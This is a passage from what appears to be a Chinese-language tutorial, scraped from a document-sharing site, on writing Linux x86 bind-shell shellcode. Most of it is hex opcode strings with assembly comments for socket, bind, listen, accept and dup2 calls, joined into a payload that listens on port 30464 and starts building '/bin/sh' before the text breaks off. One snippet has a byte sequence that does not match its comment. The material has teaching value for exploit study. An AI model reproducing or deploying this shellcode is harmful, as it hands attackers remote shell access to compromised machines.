-------------------/*bind使用66號系統(tǒng)調(diào)用,2號子調(diào)用。*//*他使用一段內(nèi)存塊來傳遞參數(shù)。*//*%ecx里面為這個內(nèi)存塊的地址指針.*/charcode[]="\x89\xf1"/*movl%esi,%ecx*/"\x89\x06"/*movl%eax,(%esi)*//*%eax的內(nèi)容為剛才socket調(diào)用的返回值,*//*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/"\xb0\x02"/*movb$0x2,%al*/"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*//*serv_addr.sin_family=AF_NET(2)*//*2放在0xc(%esi).*/"\xb0\x77"/*movb$0x77,%al*/"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*//*端標(biāo)語(0x7700=30464)放在0xe(%esi)*/"\x8d\x46\x0c"/*leal0xc(%esi),%eax*//*%eax=serv_addr的地址*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二個參數(shù).*/"\x31\xc0"/*xorl%eax,%eax*/"\x89\x46\x10"/*movl%eax,0x10(%esi)*//*serv_addr.sin_addr.s_addr=0*/"\xb0\x10"/*movb$0x10,%al*/"\x89\x46\x08"/*movl%eax,0x8(%esi)*//*第三個參數(shù).*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x02"/*movb$0x2,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------listen(soc,1)的匯編代碼----------------------------------------------------------------------------/*listen使用66號系統(tǒng)調(diào)用,4號子調(diào)用。*//*他使用一段內(nèi)存塊來傳遞參數(shù)。*//*%ecx里面為這個內(nèi)存塊的地址指針.*/charcode[]="\x89\xf1"/*movl%esi,%ecx*/"\x89\x06"/*movl%eax,(%esi)*//*%eax的內(nèi)容為剛才socket調(diào)用的返回值,*//*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/"\xb0\x01"/*movb$0x1,%al*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二個參數(shù).*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x04"/*movb$0x4,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------accept(soc,0,0)的匯編代碼----------------------------------------------------------------------------/*accept使用66號系統(tǒng)調(diào)用,5號子調(diào)用。*//*他使用一段內(nèi)存塊來傳遞參數(shù)。*//*%ecx里面為這個內(nèi)存塊的地址指針.*/charcode[]="\x89\xf1"/*movl%esi,%ecx*/"\x89\xf1"/*movl%eax,(%esi)*//*%eax的內(nèi)容為剛才socket調(diào)用的返回值,*//*就是soc文獻(xiàn)描述符,作為第一個參數(shù)*/"\x31\xc0"/*xorl%eax,%eax*/"\x89\x46\x04"/*movl%eax,0x4(%esi)*//*第二個參數(shù).*/"\x89\x46\x08"/*movl%eax,0x8(%esi)*//*第三個參數(shù).*/"\xb0\x66"/*movb$0x66,%al*/"\xb3\x05"/*movb$0x5,%bl*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------dup2(cli,0)的匯編代碼----------------------------------------------------------------------------/*第一個參數(shù)為%ebx,第二個參數(shù)為%ecx*/charcode[]=/*%eax里面是剛才accept調(diào)用的返回值,*//*客戶的文獻(xiàn)描述符cli.*/"\x88\xc3"/*movb%al,%bl*/"\xb0\x3f"/*movb$0x3f,%al*/"\x31\xc9"/*xorl%ecx,%ecx*/"\xcd\x80"/*int$0x80*/----------------------------------------------------------------------------現(xiàn)在該把這些所有的細(xì)節(jié)都串起來,形成一個新的shell的時候了。newshellcode----------------------------------------------------------------------------charshellcode[]=00"\x31\xc0"/*xorl%eax,%eax*/02"\xb0\x02"/*movb$0x2,%al*/04"\xcd\x80"/*int$0x80*/06"\x85\xc0"/*testl%eax,%eax*/08"\x75\x43"/*jne0x43*//*執(zhí)行fork(),當(dāng)fork()!=0的時候,表白是父進(jìn)程,要終止*//*因此,跳到0x43+a=0x4d,再跳到后面,執(zhí)行exit(0)*/0a"\xeb\x43"/*jmp0x43*//*當(dāng)fork()==0的時候,表白是子進(jìn)程*//*因此,跳到0x43+0c=0x4f,再跳到后面,執(zhí)行call-0xa5*/0c"\x5e"/*popl%esi*/0d"\x31\xc0"/*xorl%eax,%eax*/0f"\x31\xdb"/*xorl%ebx,%ebx*/11"\x89\xf1"/*movl%esi,%ecx*/13"\xb0\x02"/*movb$0x2,%al*/15"\x89\x06"/*movl%eax,(%esi)*/17"\xb0\x01"/*movb$0x1,%al*/19"\x89\x46\x04"/*movl%eax,0x4(%esi)*/1c"\xb0\x06"/*movb$0x6,%al*/1e"\x89\x46\x08"/*movl%eax,0x8(%esi)*/21"\xb0\x66"/*movb$0x66,%al*/23"\xb3\x01"/*movb$0x1,%bl*/25"\xcd\x80"/*int$0x80*//*執(zhí)行socket(),eax里面為返回值soc文獻(xiàn)描述符*/27"\x89\x06"/*movl%eax,(%esi)*/29"\xb0\x02"/*movb$0x2,%al*/2d"\x66\x89\x46\x0c"/*movw%ax,0xc(%esi)*/2f"\xb0\x77"/*movb$0x77,%al*/31"\x66\x89\x46\x0e"/*movw%ax,0xe(%esi)*/35"\x8d\x46\x0c"/*leal0xc(%esi),%eax*/38"\x89\x46\x04"/*movl%eax,0x4(%esi)*/3b"\x31\xc0"/*xorl%eax,%eax*/3d"\x89\x46\x10"/*movl%eax,0x10(%esi)*/40"\xb0\x10"/*movb$0x10,%al*/42"\x89\x46\x08"/*movl%eax,0x8(%esi)*/45"\xb0\x66"/*movb$0x66,%al*/47"\xb3\x02"/*movb$0x2,%bl*/49"\xcd\x80"/*int$0x80*//*執(zhí)行bind()*/4b"\xeb\x04"/*jmp0x4*//*越過下面的兩個跳轉(zhuǎn)*/4d"\xeb\x55"/*jmp0x55*//*跳到0x4f+0x55=0xa4*/4f"\xeb\x5b"/*jmp0x5b*//*跳到0x51+0x5b=0xac*/51"\xb0\x01"/*movb$0x1,%al*/53"\x89\x46\x04"/*movl%eax,0x4(%esi)*/56"\xb0\x66"/*movb$0x66,%al*/58"\xb3\x04"/*movb$0x4,%bl*/5a"\xcd\x80"/*int$0x80*//*執(zhí)行l(wèi)isten()*/5c"\x31\xc0"/*xorl%eax,%eax*/5e"\x89\x46\x04"/*movl%eax,0x4(%esi)*/61"\x89\x46\x08"/*movl%eax,0x8(%esi)*/64"\xb0\x66"/*movb$0x66,%al*/66"\xb3\x05"/*movb$0x5,%bl*/68"\xcd\x80"/*int$0x80*//*執(zhí)行accept(),eax里面為返回值cli文獻(xiàn)描述符*/6a"\x88\xc3"/*movb%al,%bl*/6c"\xb0\x3f"/*movb$0x3f,%al*/6e"\x31\xc9"/*xorl%ecx,%ecx*/70"\xcd\x80"/*int$0x80*/72"\xb0\x3f"/*movb$0x3f,%al*/74"\xb1\x01"/*movb$0x1,%cl*/76"\xcd\x80"/*int$0x80*/78"\xb0\x3f"/*movb$0x3f,%al*/7a"\xb1\x02"/*movb$0x2,%cl*/7c"\xcd\x80"/*int$0x80*//*執(zhí)行三個dup2()*/7e"\xb8\x2f\x62\x69\x6e"/*movl$0x6e69622f,%eax*//*%eax="/bin"*/83"\x89\x06"/*movl%eax,(%esi)*/85"\xb8\x2f\x73\x68\x2f"/*movl$0x2f68732f/*%eax="/sh/"*/8a"\x89\x46\x04

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論